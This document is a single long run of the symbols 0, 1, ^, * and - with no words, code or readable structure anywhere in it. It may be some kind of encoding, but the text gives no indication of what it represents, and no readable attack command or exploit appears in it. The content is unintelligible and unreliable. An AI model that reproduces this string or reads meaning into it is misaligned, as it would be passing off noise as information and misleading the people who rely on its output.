0-001011*0^1101*******^-010101*001*010^-011010-11*101*001*1*1101**101*--------1^-1*-*101*0-11*--------01*001*-001011*0^1101*****00110-0^10101**1*010^1********-00101*00^101*001*1*********00101*********1**0101*101*01^11*00^11010^10110-11*1*011*1*0011**---------00101*-001011**011*0101*001101*--------*01101*-001011*0^1101*********10^1*00^1*^1*****01**0101***01*01*001*1*01^1*11****01**0^10101*01011********01011*********01*11********01010-********00^^1********1010-*******************-^1********0-^1********001^101********11*1*******************010110101********0011*0101*10^1**********00101*0-*11*001^1*001*******0-11010--0101*001^1*001*******010101010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******0-0-1*****01**01101****001***1^1^1*********-----10-----*-00101*001^1*-01*01010^-*00--------01^-*-00^1101*****001^10-001^1*001*010^1********0-0101*00^^1*01*1*--------00-**-00101*001^1*10-**********1*0--00^11010^1*011011010^11**1*******1**101*11*00^1011*******1**10-**001*011*******001*0-^1**1*101**011010-01*011*00--------11*01*0-00101*001^1*^1*0-11*1101*00101*******0101011*101*1**--------1^101*0-00101*001^1*^1101*0-00-11*1*^1*****01**0-11011*001*001*01*1*1101**********1^11*00^--------01^-*-00^1101*******^101***001*010^1*****01***^-*001*11*001*1*--------0--*0-00101*001^1*^1101******11*1*001**001*010^-001^-11*011*001*1*********0^1*********1**0101*101*01^11*00^110^10-00-11*1*011*1*0011**--------1*0101*-00101*001^1*^1101********0-10101*00^1*^-110^-11*-*001*1*0101*001101*--------10101101*-00101*001^1*^1101*******110-010101*001*010^1010-10-11*011*001*1*01^1*11****01***010101*01011********011*11********0101*1********010-1*********1*11*********1011*********011*********001*11********001*11*******************01101*********1*11********01101*0101*10101*001*1*********110^1*0-00^1*01^1*001*******-1*10--*01*01^1*001*******0-11010--0-*001^1*001****01*****0--0011*001^1*001*******010101010--001101*01^1*********1***-001*1******00110-1*****01**0^101****1***1^1^1*********---------**00-00101*001^1*^110^-0110-11*1*^11*0010-11*^1*01*1*01010^1********110101^10-0-*00--------01^-*-00^1101*****001^10110110^1*001*010^1********0-0101*001*001*01*1*--------*011*00-00101*001^1*11011**********1*0--00^11010^1*01101101*011**1**********01*1*00^1011*011010110-11*0011******001***001**001*101**011010-01*011*00--------0010101*0-00101*001^1*-01*1101*00101****1**0^1010-11011011011******011**0011*101**--------*1011*0-00101*001^1*^1101******^1*-*01*00^1^^1*****01**0-0101**^-*001*1*1101**101*--------1^-1*-00^11*--------101*01*-00101*001^1*^1101******-1**10-*00^1^^1*****01**00--**^-*001*1*********10101*********1**0101*101*01^11*00^110^11*10-11*1*011*1*0011**--------11010101*-00101*001^1*^1101********00^1101*00^1*^101*010-11*011*001*1*0101*001101*----------01*-00101*001^1*01101*01^1*11****01**0-00101*01011********************1101*********0101********010^11********00-001*********001101********01*1********0010^11********0-01101********^-1********00-*********01101*0101*10101*001*1*********1*001*0-00^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--0-*001^1*001****01**0^110^--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01010-1*****01**01*01****1***1^1^1*********01010^-*00-----110---10-*-*01*001^1*0101*0-11*-----110--*-11*-*01*001^1**11*--------1^-1*-*1011*-----10--1011**00-*01*001^1*^110101*^110-*-11*011*001*1*1*^1*^10-11*011*001*1*********0^1*^-001**00---011**1*0-----10--11*01*00-*01*001^1*^1101*********0^11*00^1*^101010^-11*^1*01*1*0011*0-01*--------0^-1*-*^1*-11*-----10--^-1*00-*01*001^1*1*1*-11*********^1*0^-001**00--101101**1*0-----10--10-001*0-*01*001^1*^1101******010-00101101**^1^^-*110-11*101*001*1*0011*001011*010101*0101*--------0^-1*-001^1*-11*-----10---01011*0-*01*001^1*00101*-11*********^1*0^-001**00--1^11**1*0-----10--110-11*0-*01*001^1*^1101********0-01011*00^1*^1*****01**001*001*00^-*001*1*0011*0^11*--------0^-1*-001101*0-11*-----10---01^1*-*01*001^1*^1101*****00101^-1101**001*010^1^11**1*01*1*********1*1*110-00^101^-*1011*00110101******00101101*101*0010110-11*0-0110-11*^101^-*1011**1101*011**1**--------0^-1*-00-1*0-11*-----10--1010^11*-*01*001^1*1*^1********-1^1*00^-*001*1*********-1*0^-001**00--1*11**1*0-----10--101*-*-*01*001^1*^1*0-11*0011*011011*010101*0101*--------^10-*-00^1101******^1101101^11*00^1^^1010-00-11*101*001*1*-----10-----*-*01*001^1*0-1**********1*0110-00^101^-*-1*00110101******00101101*101******1**011010-*001******1**010110-*00^^101^-*-1**1101*-**1**1101*01*******001*0^1011*1011********11**101******01**010101**01******01***11**001*1101*011*00--------0^-1*-00^1*0-11*--------01*01*0-*01*001^1*^110^-0010-11*1*^1********1^^1*001*11*001*1*********0^1*^-001**00--101011**1*0--------10-01*0-*01*001^1*^1101********0110^11*00^1*^1*11*011*001*1*0011**011*0101*01*******001*0^1011*101011*--------1^-1*-00^11*--------10-11*0-*01*001^1*10-**********1*0^-001**00---101**1*0--------0-*1*-*01*001^1*^1101*****00--011*0101*00^1^^-101*101*001*1*0011*001101*********0-1011*****01**010-1******1**01^101*****001****001*****01***11011*****001****001*****01***^1****************001***^1*********0101101********01^11********01^1*********--01********0^1101********010101******1**0--******1**01*0101*****01**0^10101********001*1*****001**00^1101*****01**01011**********101101********01101*101*1*1*001*1*001*001^1*0-*0-11*^1*01^1*001****01**0-010^--*01*01^1*001*******-1*10--0-*001^1*001*******0-11010--0011*001^1*001****01*****0--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******10-1*****001**1*001***-***1^1^1********************010101******01*00--******11**011*******1**0^-*********1**1*******0010101*********011*******001**1101******001**10-011*****01**0^-******************************1*001*****0011**0^1101*****001**001*******1**00-0101********01********************0011*01*****0011**001^1********0011*11*****001**011*01********01********************00-*1******1**01*-********101011******01**10110101********01********-1101*001***01010^-***************************************************************101*00101*10^10^1*1*^10^1^1**11*00-0110101*******---1101^11*00--------^10-*-00^1101******01******1*010^^-110-11*0101*01*1*--------011*11*-00-00^1^1*^1101******101*00-1**001*010^-011*1*1*1*1*********1*1*^-*11********************0-001********00101101*******************0-001*******************0101101********00-*00101*10-00^1*1*-00^1^1*-01*********0010101010-011*************************************************************0101*00101*1010^^1*1*10^^1^1*-01***********0010-01101^1*********11*0010-011*************************************************************0101*00101*1011*^1*1*11*^1^1**11*00-0110101******001^^-110110^1*0--------1^-1*-*1011*---------^11*-001*0^1^1*01101**********1*0^-00^1**********101*********01011*********01011********************0101********************0101*********-*00101*101*0^1*1*1*0^1^1*-01*********1*001010-011*************************************************************0101*00101*10-11*1*1*-11*1^1*^11*00-0110101******001^^-110110101*001*1*--------1^-1*-00^11*--------0-0011*-0010-*1^1*-01**********1*0^-00101*001*1*******************************-*********00-*********10101*********10101*********00-*********-*00101*1010-*1*1*10-*1^1*11011*********11*01010-011*************************************************************0101*00101*1011011*1*1*11011*1^1*^11*00-0110101******001^^-1101^11*001*1*---------10-*-001*^1*01010-11*^11*1*1*--------0-0011*-*0011*1^1*01011**********1*0^-*11*001*1**********001*******************0^11*********^11******************************0^11*********-*00101*1*011*1*1**11*1^1*11011*********-*1010-0-101*0110101******1101101*0101******11***001**01******11**10-11**1*11*001*1******************************00^1******************************0101*00101*^1101*1*1*01101*1^1*^11*011*001^1*0101****1**00-*01^-0101*001*1**************************************************************0101*00101*1*101*1*1*00101*1^1*01101*101*001^1*0101****1***101^1^-001101*001*001*1*^1*0--------011011*00-**1*1^1*^1101******^11*1*01**^1^^^1^10-11*0^1*1*1*001*001^1*110101******11*101*101******11**0^^1*001******11**--01*00^110101******00-01*0101******11**10--*001******11**010-01*001*11*00110101******011011*00101******01**011*11*001******01**-01101*001*11**11*00110101******0^101*0101******01**001^11*001******01**1*^1*001*11****01**001^101*10^^1*0011*00--------*0^1*-**1*1^1*^1101*****00^10-*-**01*010^1********01^101*00^1*1*1*1*110101******0^101*0101*********1011011*001*********11*01*00^110101******1*01*00101********001*0101*001*********^1011*00^110110^-1*110101*******01**101******01**01101011*001******01***00-*001*11**001*0011**101*00101****1**0^11*1^-*************************************************************00-00101********101^1********0-*00101*1*001*1*1**01*1^1*^11*1011*00101******0011*00-00-0110101******1*1101*101*-1*00-010-11*01**--------10-001*-001011*01^1*^110^1^^-11*1*^1*********^11*001*-*01*1*0011*00101****1***-*1^-0110101*******-01*101******01**1^-1*001******01**1101^1*001*11*******00101011*10^^-*011***10-00^1*001*1011*^10^-11*011****01**0^^11*101******1***-011*001******1**00-*1*00^11*********************^11*********01*1******************************^11*********11*00101*101011*01*1*1011*01^1**11*-----10---0-11*-00^1*01^1*^11**********1**0-00--------1^-1*-*1011*--------0-**0-00^1*01^1*0101*0-11*********^1*0^-001**00--1^11*-*001*1*--------1*01*00-00^1*01^1*^1101*********110101*00^1*^1*****01**0-01**00^1101*01*1*-*001^1*-01*--------0^-1*-001101*0-11*--------**1*0-00^1*01^1*^1101******^101*00-**1*010^1*****01**001101101*001*101*01*1*********10101*^-001**00--101101*-*001*1*---------1101*0-00^1*01^1**11*-*001^1**11*0101**101*--------1^-1*-*0011*--------0^-*0-00^1*01^1*1*^^1*10-11*1101*01*1*********0011*0^-001**00---101*-*001*1*--------*1*1*-00^1*01^1*-01*-*001^1*^11*1101**101*--------01^-*-00^1101******01*1010^1**01*010^1********-1*1*001*101*01*1*--------*10101*-00^1*01^1*01101**********1*0^-001**00--1*11*-*001*1*--------010-01*-00^1*01^1*01011*-*001^1*01101*********0011*1********00^101********10-101********^1101********001*011********01^11******************************1*011********1101*********001^11********010-1**********11********001011*0101*10^1*01*1*^1*01^1*11011*1101*01^1*001****01**001**0--00101*01^1*001*******010101010--00-*01^1*001****01*****0--00^1*1^1*001****01**0^110^--01*1*1^1*001*******-1*10--0^11*1^1*001****01**0-010^--001101*01^1*********1***-001*1******01^-1******1*001^1101***11***1^11011*1*******0010101*********^1******0011**1011*1*****001**0101^1********1^-1**********001*******0010101*********011*******11**-011******1**01^1011*****01***^11*****************101^1*001***010101*011*01*1*-----1010--10-11*-00-----10--101*1*00-*0-*1^1*0^1*-11*--------01^-*-00^1101*****001101^1011011**01*010^1********^1^1*00^1*1*1*1*-----10--10-11*00-*0-*1^1*00-**********1*0^-001**00--110-*1011*01*1*-----10--1*0101*0-*0-*1^1*^1101******0101^1011*1*00^1^^--^-11**01*1*1*1011*01^1*-01*--------0^-1*-**1*-11*-----10--^11011*0-*0-*1^1*01101**********1*0^-001**00--101101*1011*01*1*-----10--10--*0-*0-*1^1*^1101********0-01011*00^1*^110^^-11*10-*1*1*1011*01^1*^11*-----10---00^1*-*0-*1^1*1*^--110-11*10-*1*1*1101*00101****1**01*01*00101*11****01**01*001*0101*0101*11011010^1*0101^-01^1**1*-1*00101*011****01**0010^11*101******11**011*11*001******11**-10101*001*1011*-11*--------0^-1*-00^1*0-11*-----10--1010^11*-*0-*1^1*^110101*^1********1010^1*00^10-*1*1*1*^10^1010-11*10-*1*1*********10101*^-001**00--1*11*1011*01*1*-----10--1^10-*-*0-*1^1*^1101*****0010101^1**1*001*010^1*****01**00-1101*001*-1*1*1*1011*01^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*-1*--------1011**0-*0-*1^1*^11**********1*0^-001**00---101*1011*01*1*---------11**-*0-*1^1*-01*1011*01^1*01011*--------010101*00-*0-*1^1*1^1*-11*0011*0110101******--*00101******1***1*11*001******1**001011011*001*11*******011**0010^11011*-*001011010^1*1101010-*001********00^-01*001*11****01**0010^11*101********00-*01*001*********-0-*001*1011*-11*--------^10-*-00^1101******01011*0-001*00^1^^--^-11**01*1*1*--------0010-*0-*0-*1^1*^1101*****00-0-010--*00^1^^1*****01**0--**01**1*1*1*********10101*^-001**00--1^11*1011*01*1*--------1^^1*-*0-*1^1*110110^1011*1*^1********00110101*00^10-*1*1*1011*01^1*10-*010101*11*********00--1*****001***11*1********01*******01**0^1101********0101*1*****001**00--********001*******01**001101********************110-*****001**0110101**********0011********01101******01**00--****************01**0-*01********01*101********01^-********0101*1*****01***1*1*********101*101*1*-*1*1*00-*1^1*11011******01**001^-10-01^11*01^1*011**1^1********00^1*010-0--------11*-01*-*1011*1^1**11*-----110--00^-0-1^^11010-01*011****001**01010110-10110^1**1*001*1*---------^11*-*1011*1^1*^11*001*001^1**11010-01*001*001*1*******************0010^1*******************00-*********010^1******************************-*00101*^1011*1*1*01011*1^1*-01***********0010-01101^1*********11*0010-0110101****01**00101*-101101101*01*1*011****001**^-00-101^101*01*1*1101*01*1*011****001**-01^-10110^1*01*1*1101*01*1*011****001**10101^-10110-*001*1*1101*01*1*011****001**1^1^-101^11****01**001*101*101*1**1101*01*1*1101*01^1*011****001***01^1^-0011*00-----10--11011011*0-00-01*1^1*^1101*-0011*^1********1^^1*001*01*******0-11010--*********010-*001*01****01**001**0--******-1*1101***^1^^10--0-11**01*1*1*0101*01^1*011****011**00^1*00101*1101*011*******011**0010^11011*-*001011010^1*110--1*001*********^^1*001*11****011**10-001*10^1101**-1*110^1*10101*001*0101*00-*00-*011*001*1*-----10--^-101*-00-01*1^1**11*^1*01^1*011****01**010^101*101*11****01**01*001*0101*0101*11011010^1*0101^-0-11**^10-*00101**1*01*1**1*01^1*110101******1101*1*101******01**01*101*001******01**^10101*001*001*01*1*-----10--110110-*-00-01*1^1*^110101*^1*********10-*001*0101*1*1*1*^1********01*-*001*0101*1*1**1*01^1*011****011**00^1*00101*1101*011*******011**0010^10-*-*001011010^1*1^--*001*0-^-11*011****011**0011*1*101*^11*1*1^-0011011*1**1*******************0-1*01*0^-01*011*001*1*--------*011*00-00-01*1^1*1*^1********-00-*001*0011*1*1*-*001^1*011****011**00^1*00101*1101*011*******011**0010^11011*-*001011010^1*110--1*001*1^110-11*011****011**0011*1*101*^11*1*1^-00-*101**1**********************1*0^11011*011*001*1*--------1^-1*-*-1*--------*0-*0-00-01*1^1*01011**********1*0^-00110101******-01101*101******1**0^11**001******1**00--**^110101******0-101*0101******11**-01101*001******11**101*01*00^101*001*1*011****001***1^1*10^^11*01*11011**10-00-011**001*0101**1*0--------01010101*-00-01*1^1*^1*0-11*011*001^1*011****001**00110110-10110-01*001*001*1*^1*0101*001^1*011****001**00110110-101^1101*001*001*1*^1********************01101*********-11******01**01^^1****************1***-01********0^1^1********-1101********0^1^1*****01**01011**********-011*****01***-01*********11*0101*10-01*1*1*-01*1^1*1101*0-11******001**1011**0-*01*001^1*01101*******1***0^10-01^11*01^1*011*00---------10-*-001*^1*01010-11*10101*1*1*--------00110101*-001^1*1^1*^1101*********-101*00^1*^110101^-11*00101*1*1*********0^1*010-*11****001**1*-0-101^11****01**01*001*0101*0101*11011010^1**1^110101***^-01*00101*^1*01011*0011****001**01^1101^-0-*********0011*01*****************************0011*01********0110-********00110-********0011*01********0-*00101*101^1*1*1*1^1*1^1*01011******011**1^1*^-001**00--^-*1011*01*1*--------1^101*0-00-1*01^1*01011*1011*01^1*00-*010101*11*00--------1^-1*-*1011*--------01^11*0-00-1*01^1*10-**********1*0^-001**00---011*1011*01*1*--------*-1*0-00-1*01^1**11*1011*01^1*11011*--------11*001*-00-1*01^1*11011*********01*0^10-00110101******-01101*10^10110110-11*1101*0-11*-*00--------^10-*-00^1101*****001*1*101***01*010^-1*10-11*1*1*1*1*--------01010101*-00-1*01^1*^1101******11*1101***00^1^^-011**01*1*1*********1*1*^-001**00--101011*1011*01*1******0101*****0-001011*01^1*01101*******************001^11********00-1011********01011011********011**********010^1********0010-1*********01*********01010101********011**********11**********1101*0101*10-1*01*1*-1*01^1*0101*0-11*1*1*1^1*001*******-1*10--*001*1^1*001****01**0^110^--010101*1^1*001****01**0-010^--*101*1^1*001****01**001**0--*011*1^1*001*******0-11010--00-1*1^1*001*******010101010--010-*1^1*001****01*****0--001101*01^1*********1***-001*1******00^-1*****0101*00--1***-***1^11011****10101*01*******-1010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-1010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**011*101*101*11*******011**00101*-1*-*001011010^1*-1^-*001*********1^-*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1********--------001**00-*01*001^1*10-*01010^-*00--------1^-1*-0010-*--------00101**-*01*001^1*0-1**********1*0010-0010-01*011**1*0--------00^1*00-*01*001^1*^1101********011011011*00^1*^1********0010-1*00^-*001*1*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------101*1*0-*01*001^1**11*1101*00101****1**00-01*0010^11**01**--------1010101*0-*01*001^1**11*1101*01101*0-11*--------01^-*-00^1101******011010110-11**^1^^1*****01**00-01**01*11*001*1*--------1^-*0-*01*001^1*00-**********1*********01**0101*101*011010-00--01********00^1101*00^-110101*^10110-0-11*001****01**0-010^--01^^10110-0-11*001****01**0^110^--00110-0-11*001****01**0^110^--0011*00^1101*-*1*0110101**01*00--------01010101*-*01*001^1*^1101*00-0-11*1*^^110^-11*101*001*1*0101*001101*--------110-01*-*01*001^1*^11*01^1*11****01****101*01011********0-*********010^101*********0^1********110-01********-11*********^1011********010-101********0010-********00-**********1*01*******************01*01********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1********01*****001**010-****001**001^1^1***00--------1*1**-00101*001^1*01011*01010^-*00--------^10-*-00^1101*******01*-001**1*010^101011*-11*^1*01*1*--------110101*00-00101*001^1*^1101*10^1*****01**001101**001*001*01*1*0010^1*****01**001101**001*001*01*1**********11*--00^11010^1*01101101*011**1******001**010110101*00^1011******001**0-01**001*011******0011**0101101**1*101**011010-01*011*00--------01*11*0-00101*001^1*^1101*****00^^-1*11**^1^^10-0^-11*-*001*1*1101*00101******001*0^-1011011**11011******011**0011*101**--------1**1*-00101*001^1*^110^1*^-11*1*^1********0011*1*001*11*001*1*1101**11*0-11*--------1^-1*-00-01*--------00-001*-00101*001^1**11**********1*********01**0101*101*01^11*00^1101011*^-11*1*0110101**01*00--------10101101*-00101*001^1*01011*0101*001101*----------01*-00101*001^1*11011*01^1*11****01**0-1^1*01011********0-*********0010-********001010-*********101101*******************-**********011*********1101011********0-011*********01^1********00^1101********1101*0101*10101*001*1*********1*001*0-00^1*01^1*001*******-1*10--*01*01^1*001*******010101010--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******01*-1*****01**0-01****01***1^1^1******0--------01011**-001011**011*01010^1*******0011**1010-0-*00--------*101*00-001011**011*--------0010-1*-*0-*--------101011*00-001011*0^11*********-*00^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------001^1*0-001011*0^1101*********1^11*00^1*^1^10^-11*-*001*1*1101*00101****1**00^10--011011011******011**0011*-**11011******00-**11*101**---------1011*0-001011*00-1*1101**101*--------00^-*-00^110101*^1********01^101*001*11*001*1*1*^1********^^11*001*11*001*1*--------0-*1*-001011*0^1101*****001*10-0011011*001*010^1010-00-11*101*001*1*********1*1*********1**0101*101*01^11*00^1101*0^10-11*1*011*1*00101*00--------*01101*-001011**011*0101*001101*--------^-01*-001011*01*^101101010-11*001*001*1*01^1*11****01**00-^1*01011********1101101********00--********01*1*********0--********00^101********001*101********01*001********^10101********1101^1********01011*********1101101*******************0011*0101*10^1*********0-*1*0-00-*001^1*001****01*****0--0011*001^1*001****01**0-010^--0101*001^1*001*******-1*10--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1*******00-1*****01**00-****001***1^1^1******0--------11***-00101*001^1*^1101*****0011*0--101**^1^^1^^10-11**1*01*1*01010^-*00---------01**-00101*001^1*^1101******010^-*101*00^1^^1*00^-11**1*01*1*--------01^-*-00^1101*****00-0--^11**^1^^1********1*-1*001*001*01*1*--------00-1*00-00101*001^1*00-**********1*010-^^110^101101*011*^1**01******001****11**1*011**********001101*00^1011*010110^-11*0101**011010-01*011*00--------*0011*0-00101*001^1*^11010110^10-11*1*^1*********-01*00^-*001*1*1101*00101*******0-01*010^11**01**--------010-1*0-00101*001^1*01101*1101*001101*--------01^-*-00^1101******-010^110-*001*010^1********001*01*001*11*001*1*---------0^1*-00101*001^1*11011**********1*********01**0101*101*01^11*00^110101011*0-11*1*0110101**01*00--------*01101*-00101*001^1*0-1*0101*001101*--------010-01*-00101*001^1*1101*0-11*01^1*11****01**010-001*01011********-1*********00^1101********-^1********0^11*********************0101********101*1********00^1101********00101101********^1011*******************^1011*********11*0101*10101*001*1*********011*1*0-*001*01^1*001****01**0^110^--0-*001^1*001****01**001**0--0011*001^1*001*******010101010--001101*01^1*********1***-001*1******0-10-*****01**00-1***00101***1^1^1*--------0-11*00-001011*0^1101******0010110101^1**^1^^1*11*101*001*1*01010^-*00--------*0101*0-001011*0^11*--------0010-1*-*1011*--------10-01*0-001011*0-01*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------0010-*0-001011**-*1101*00101******00101^11*10^--------1**1*-001011**-*1101*0^1*0-11*--------01010-*-00^1101******1010-0-1011*001*010^10--0-11*001*001*1*--------1101^1*-001011*00101*0-11**********1*********01**0101*101*01^11*00^1101*0^10-11*1*011011**01**--------00101101*-001011*0^11*0101*001101*--------10-101*-001011*011011*01^1*11****01***-001*01011********^^1********0--*********0-11********00101101********001101*********0110101********01011*********0010-1********001101*******************001^-********0--*********011*0101*10^1*********011*01*0-00101*001^1*001****01**0^110^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******00-0-********00-011**0011***01^1^1*********-----10---110-*-00101*001^1**11*010101*0-00--01********01011*1*001*10110101*^101101*001****01**001**0--01*^-110110-11*001****01**0-010^--0-10110-11*001****01**0-010^--01*******0010-^1010-0-*00--------00-**-00101*001^1*^1101*****00110-00101^11*00^1^^1*****01**0010-**0^^1*01*1*--------1^-1*-00^11*---------011*00-00101*001^1*10-**********1*010-^^110^101101010-*^1**01*******1101*--11*001*011******0011**^^1**^1011*******1**11*101*001*101**011010-01*011*00--------0-101*0-00101*001^1*^1101*****001*110^-01**1*010^1^^10-11**1*01*1*1101*00101*******10-01*10^--------0110-*0-00101*001^1*1101101*-*1*^1********^1^1*00^-*001*1*1101**101*--------0^-1*-*101*0-11*--------*0^1*-00101*001^1*0-1**********1*********01**0101*101*01^11*00^11010^11*-11*1*01^1**11**--------^10101*-00101*001^1*1*^1********-01101*001*11*001*1*0101*001101*--------010-01*-00101*001^1*1101*0-11*01^1*11****01**01101^1*01011********-1*********01^101**********1**********001*********01^1********-1011********00^1011********1101011********010110101*********001********001101011*******************0011*0101*10101*001*1*********011*1*0-00^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--0-*001^1*001****01**0-010^--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******010110-*****01**0^-***0-***1^1^1*1*******0010101*00-*01**0110-*10-11**001*001************1*1*****010101*01*001*1*-----^---00101*-00-----10---0-01*-**1*1^1*^1101*-110-11*1*^1*****01***0101**01*^1*1*1*--------0^-1*-00^1*0-11*-----10--^101011*-**1*1^1*10-**********1*0^-001**00--10-1*101*001*1*-----10--101^-*-**1*1^1*^1101******1*10110101101*00^1^^10-0110-11*0-*01*1*101*001^1*-01*--------0^-1*-00-1*0-11*--------01***-**1*1^1*1101*0-11*********^1*0^-001**00--101101*101*001*1*--------10101**-**1*1^1*11011*101*001^1*^11*1101*01*******001*0^1011*1^101^-*1011*00--------00110-*-001*^1********-00-*001*^1*1*1*--------011011*00-**1*1^1**11**********1*0^-001**00--1*11*101*001*1*--------*^1*0-**1*1^1*1101101010-*1*^1********110-01*00^^1*01*1*101*001^1**11*0101*0011****011***001*00101*1**--------10110-*-00^11010-01*1*^-1*10-11*0101*01*1*---------1011*0-**1*1^1*01101**********1*0^-001**00---101*101*001*1*--------1**1*-**1*1^1*^1101*****00--0-001101*001*010^1*****01**01*0101*00^1*1*1*1*101*001^1*0-1*01010^110101******1011**0101******1**0101^11*001******1**010101101*00^-**11****01**0^-11*101******11**^101**01******11**0101***1********001^1011******************001*-*******************0-1101*********-*********--1********1*-*********110-*********001*********0^101*****01**011***********001**********^1********1*-********00110101*********001*101*1*001*1*1**01*1^1*0011*0-11******01**00-001010-01^1*001^1*011****011**0011*1*101*^11*1*110101^-011*1*001*******************00101*01*0^-01*01^1*********0-*10-0--------110^-1*-00^1*0-11*--------11011**-001011*01^1*^1101******^101*^-*00^1^^1********00101101*001*-*01*1*********10101*0-1^^11010-01*^101^-*1011*00^1*0--------110-*00-001011*01^1*^1101*****00-11*1**1*001*010^11*1^-11*1101*01*1*1011**011010-01*^1*0--------1*101*0-001011*01^1*^1101******11*-1***00^1^^-011*0-*01*1*0011*0011****01**0-1**0101******11**-0011**1******11**01101**001*1101*011****01***001101*101********0010-001*001********00-0^1*001*001*0--------11*001*-001011*01^1*-01*0011**01101*****001*1^1*-**1*101101*****001**11*001**1*001101*01*01*^1^1*0011*00--------10-001*-001011*01^1*110110^-1*1*^1********110-01*00^^1*01*1*00-0011*^101101*011****01***001101*10^^^10-11*11*010-11*1*011011*1^-1**1*01*^1^1*0011*00^1*0-*00--------11*011*-001011*01^1*11011*1011*001101*********010^1********00101**********-11*********0011*******************00^^1********************11********00^-01********010^1********0^-01********1101*0101*101011*01*1*1011*01^1*01011******01**01^^1^-001**00--110-*101*001*1*-----10--^1*11*-00-*001^1*0-1*101*001^1*01011*--------0^-1*-001011*0-11*-----10--101101011*-00-*001^1*^1101010^^-11*1*^1*****01****11**1*001*01*1*********0^1*^-0011**--------1^-1*-*-1*-----10--^10-1*-00-*001^1*11011**********1*0^-001**00--1^11*101*001*1*--------011**00-00-*001^1*^110^10^10-11*1*^1********01^101*001*101*01*1*101*001^1*11011*0011******0010^^-011**0^--------1^-1*-*0011*---------001*00-00-*001^1*^1101*****001^10^-011**1*010^1**10-11*1101*01*1*********0^1*^-001**00--101011*101*001*1*--------11*01*0-00-*001^1*^110101*^-^^-11*0101*01*1*1*^^-*-11*0101*01*1*101*001^1*10-*0011*******10101*101^1*00^--------1^-1*-00^11*--------00^11*0-00-*001^1*^11010^1*0-11*1*^1********1010^1*00^^1*01*1*********0^1*^-001**00--^-*101*001*1*--------**01*-00-*001^1*^110101*^10101*0-11**1*01*1*1*^1********01*101*001*001*01*1*101*001^1*00-*********0-1011*-00--------1^-1*-*0-*--------11*101*-00-*001^1*-01**********1*0^-001**00---011*101*001*1******011**0010101*0-00101*001^1*01101*********0-0-********-1101******************************001*********0^-11********^-11********00-001********10-1********00-^11********10^1*********10-1********0-01101*********001********0010^1********00-1*0101*10-*001*1*-*001^1*0011*0-11*1101*01^1*001*******-1*10--00101*01^1*001****01**0-010^--0^1*01^1*001****01*****0--*01*01^1*001****01**001**0--00-*01^1*001****01**0^110^--00^1*1^1*001*******0-11010--01*1*1^1*001*******010101010--001101*01^1*********1***-001*1*******110-*****011**11*-***11***1^11011********************01101******101*00110-******01**^11011*****001**01*11********001*********************01101******001**-0101*****001**11*******001**11010101********01********101^1*001***010101*11***************************************************************101*00101*1*-*1*1*00-*1^1**11*00-0110101******001^^-11011011011*******011*01101*0--1011**^1**************************************************************0101*00101*^1011*1*1*01011*1^1*-01*********00110^10-0---------1^101*-*0011*1^1*^1101********0^-11*00^1*^1*****01**011*-*001**1*1*1*-----110--*101^10-*101****01**-*1*0101*11**^1*0101****01**00101*-1011*1*001*1*011**11****001**1^1^-101^11****01**0-0^1*101*1**001*001*1*******************001011*********010101*********011011****************************************00-*00101*1*011*1*1**11*1^1*00-*00-0110101******001^^-11011011011******010^1*1101*0---1**^1*******************001011*********01011******************************00101*00101*^1101*1*1*01101*1^1*01011*********00110^10-0----------0-*-001*^1**10-11**01*1*1*-----10---11**0-*0101*1^1*^11010^11*1*^11*0110-11*0-*01*1*********0-*0010-*101****01**00^11*010^-**^1*011****001**^-00-101^101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01**1*001*1*--------1^-1*-*0011*-----10--^1*1*0-*0101*1^1*^11010-10^-11*1*^110110^-11*-1*01*1*********-1*0^-00110101******0010^1*101******1**0^1***1******1**0010-1**1*11****01**01*001*0101*0101*11011010^1*0101^--11**0^11011*00101*101*001*1*-----10--10110-*0-*0101*1^1**11*011****001**-01^-101^11****01**00101^1*101*1101*0101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01**1*001*1*--------1^-1*-*0011*-----10----001*-*0101*1^1*010110^1011*1*^1*****01**00-011**1*-*01*1*********1*1*010-00110101******010-1*0101******1**0101^1**1******1**001^11**1*101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01*0--------^10-*-00^1101*****001^1*1011***1*010^101011010-11*0011*01*1*-----10--101*-*-*0101*1^1*10-**********1*0^-00110101******0010^1*101******11**1011*1*001******11**0--1*001*11****011**0011*1*101*^11*1*110^^-101^1*001*******************00-*01*01*0011*101*001*1*--------00110-*-001*^1*****01**0101***01**1*1*1*--------1*01*00-*0101*1^1*1*^1*****01**0-0^1*001**1*1*1*********-1*0010-00110101******0010^1*101******11**0110-**1******11**101***01*11****011**1*-*0101*-**^^1011010^-11**^-01********************1**1*0^101*001*1*--------0101101*0-*0101*1^1*^1101*****0010^1*^-**^1^^101101*1011*01*1*011****001**10101^-101^101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01**1*001*1*--------1^-1*-00^11*--------011*01*-*0101*1^1*^1*0-11*********^1*0^-00110101******0010^1*10^10-110-11*0-*0-11*011*******011**00101*1101*-*001011010^1*-1101**001*010-0-11*101*001*1*101*001^1*0101****01**11*11*010^-**^1*--------10101101*-*0101*1^1**11*********1*1**********1******001***^1****************001**0--1********010-1******1***^1********0011010-********1*1*****************1**0-*1********011*11*****001***10^1********^10101*****01***0-01********-1*0101*1*101*1*1*00101*1^1*11011*-*001^1*0101****01**01*110-101^101****01**^^10-101^101****01**1*0010-10110^1**01**1*001^1*0